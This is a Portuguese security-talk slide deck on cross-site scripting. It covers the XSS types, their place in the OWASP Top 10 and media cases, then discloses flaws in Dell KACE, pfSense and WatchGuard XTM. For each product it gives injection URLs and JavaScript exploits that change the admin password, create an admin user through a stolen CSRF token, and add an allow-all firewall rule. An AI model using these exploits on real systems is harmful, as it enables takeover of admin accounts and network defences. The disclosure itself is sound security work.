4. Reflected XSS
4
Quando o usuário envia uma requisição durante uma consulta em uma
pagina de pesquisa ou em uma variável.
Ex: http://www.vulneravel.com.br/noticias/?tipo=R"><script>alert("Reflected
XSS")</script>
5. Stored XSS
5
Isso ocorre quando o Script e salvo no servidor sendo assim carregado
a cada vez que a pagina for acessada.
Ex: Mensagem em um fórum, formulares de compras, entre outros
Após adicionar o comentário
qualquer pessoa que acesse o
Fórum recebem a tela
6. DOM XSS
6
O DOM XSS é quando é inserido o payload dentro de uma variável
utilizada por um script
Ex: Campos de interação em tempo real.
<img src=search onerror=alert('DOM_XSS')>
7. O XSS aparece no top 10 do OWASP
desde seu primeiro relatório.
7
OWASP Top 10 – 2003
Top Vulnerabilities in Web Applications
A1 Unvalidated Parameters
A2 Broken Access Control
A3 Broken Account and Session Management
A4 Cross-Site Scripting (XSS) Flaws
A5 Buffer Overflows
A6 Command Injection Flaws
A7 Error Handling Problems
A8 Insecure Use of Cryptography
A9 Remote Administration Flaws
A10 Web and Application Server Misconfiguration
Fonte:https://www.owasp.org/index.php/2004_Updates_OW
ASP_Top_Ten_Project
8. E após uma década ele continua
entre os 10.
8
OWASP Top 10 – 2013 (New)
A1 – Injection
A2 – Broken Authentication and Session Management
A3 – Cross-Site Scripting (XSS)
A4 – Insecure Direct Object References
A5 – Security Misconfiguration
A6 – Sensitive Data Exposure
A7 – Missing Function Level Access Control
A8 – Cross-Site Request Forgery (CSRF)
A9 – Using Known Vulnerable Components
A10 – Unvalidated Redirects and Forwards
Fonte:http://owasptop10.googlecode.com/files/OWASP Top
10 - 2013.pdf
13. XSS na mídia.
13
Twitter shuts down Tweetdeck after XSS flaw leaves users vulnerable to
account hijack
Fonte: http://www.theguardian.com/technology/2014/jun/11/twitter-
tweetdeck-xss-flaw-users-vulnerable
14. XSS na mídia.
14
Researcher Gets $5,000 for XSS Flaw in Google Apps Admin Console
Fonte: http://www.securityweek.com/researcher-gets-5000-xss-flaw-
google-apps-admin-console
15. XSS na mídia.
15
Stored XSS in eBay messages filenames
Fonte: https://threatpost.com/a-year-later-xss-vulnerability-still-exists-in-
ebay/112493
17. Falha #1 Dell KACE V.6.3.113397
17
Falha na pagina de criação de um Ticket.
Proteções:
Flag HttpOnly
Token CSRF
URL Vulnerável: /adminui/bug_report.php?location=/adminui/ticket.php?ID=20000<script>alert("XSS");</script>
20. Exploit para alteração da senha do
ADMIN.
20
document.write('<iframe width=0 height=0 name="xss“
src="https://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10"> </iframe>');
function append(senha)
{
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="se
nha123";
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0
].value="senha123";
window.frames['xss'].document.UserForm.submit();
}
setTimeout("append("timeout")",2500);
Um simples Iframe já nos possibilita a alteração de senha
do usuário administrador.
22. Falha #2 PFSENSE V. 2.2.2
22
Falha na pagina de remoção de Captives portais.
Proteções:
Token CSRF
Checagem do Header HTTP_REFERER
URL Vulnerável:
/services_captiveportal_zones.php?act=del&zone=aaaa"><script>alert(csrfMagicToken)</script>
25. Exploit para criação de Usuário de
Administração.
25
document.write('<iframe width=1000 height=1000 name="xss"> </iframe>');
xss.document.write('<body><form id="CSRF"
action="http://192.168.217.100/system_usermanager.php" method="post" name="CSRF">');
xss.document.write('<input name="__csrf_magic" value=""</input>');
xss.document.write('<input name="utype" value="user"> </input>');
xss.document.write('<input name="usernamefld" value="teste"> </input>');
xss.document.write('<input name="passwordfld1" value="123456"> </input>');
xss.document.write('<input name="passwordfld2" value="123456"> </input>');
xss.document.write('<input name="groups[]" value="admins"> </input>');
xss.document.write('<input name="save" value="Save"> </input>');
xss.document.write('</form>');
xss.document.write('</body>');
window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken
;
window.frames['xss'].document.CSRF.submit();
O Exploit cria um formulário dentro da pagina vulnerável obtém o TOKEN CSRF da
mesma , envia o form para a pagina de criação de usuários “bypassando” a
proteção do HTTP_REFERER
27. Falha #3 Firewall WatchGuard
XTM V. 11.10.B473826
27
Falha na pagina de Gerenciamento de Access Point.
Proteções:
Token CSRF
Flag HttpOnly
URL Vulnerável:/network/controller/ap?action=add"</script><script>alert(“XSS”)</script>
30. Exploit para criação de uma
politica.
30
$.ajax({
type: "POST",
url: "https://10.0.1.1:8080/put_data/",
data:
'{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":{"__class__":"FirewallPol
icySettingsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-Rule","enabled":true,"description":"Policy
added on 2015-05-005T18:02:38-
03:00.","property":0,"type":"Firewall","firewall":"Allowed","reject_action":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any
","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-External","address_type":-
1,"tunnel_type":false,"name":"","obj":null}],"to_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","a
uth_domain":""},"display_name":"","alias_name":"Any-Trusted","address_type":-
1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always
On","app_action":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enable
d":0,"idle_timeout":180,"idle_timeout_enabled":0,"policy_sticky_timer":0,"policy_sticky_timer_enabled":0,"using_global_sticky_setting":1,"apply_o
ne_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":0,"snmp
_enabled":0,"notification_enabled":0,"notification_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_
method":0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":
0,"pbr_enabled":0,"pbr_interface":"","failover_enabled":0,"abs_policy_routing":[],"connection_rate_enabled":0,"connection_rate":100,"use_poli
cy_based_icmp":0,"pmtu_discovery":1,"time_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unr
eachable":1,"tag_list":[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag":
1,"page_firewall_proxy_aciton_obj":null,"proxy_action_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user
_hash":{},"proxy_policy_flag":false,"proxy_actions":[],"app_actions":[],"global_qos_enable":false,"port_protocol_settings":[{"protocol":"Any","port"
:""}],"proxy_type":"","multi_wan_enabled":0,"multiwan_algo":0,"ext_interfaces":[{"if_dev_name":"eth0","data":"External","name":"External","if_num"
:0}],"vif_list":[],"helper_intf_list":[],"helper_tunnel_list":[],"helper_alias_list":[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list
":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list
":[],"helper_slb_list":[],"traffic_mgmt_enabled":false,"helper_tm_actions":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_action_list":[],
"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}',
contentType: "application/json; charset=UTF-8",
accept: "*/*",
dataType: "json",
Vamos usar uma função JSON que
envie via post todas informações
necessárias para criação de uma
politica que permita tudo de fora para
dentro da rede.
31. Resultado:
31
Criação de uma politica permitindo tudo da rede externa (ALL) para a
rede interna (ALL) com todos os protocolos (ALL).
32. Conclusões
32
As vulnerabilidades de XSS podem ir muito além de uma
simples mensagem na tela do usuário, podemos envolver a
criação de usuários, envio de e-mails, alterações de
configurações que tem um impacto muito maior que o
apresentado aos tomadores de decisões na área de Segurança
das Organizações.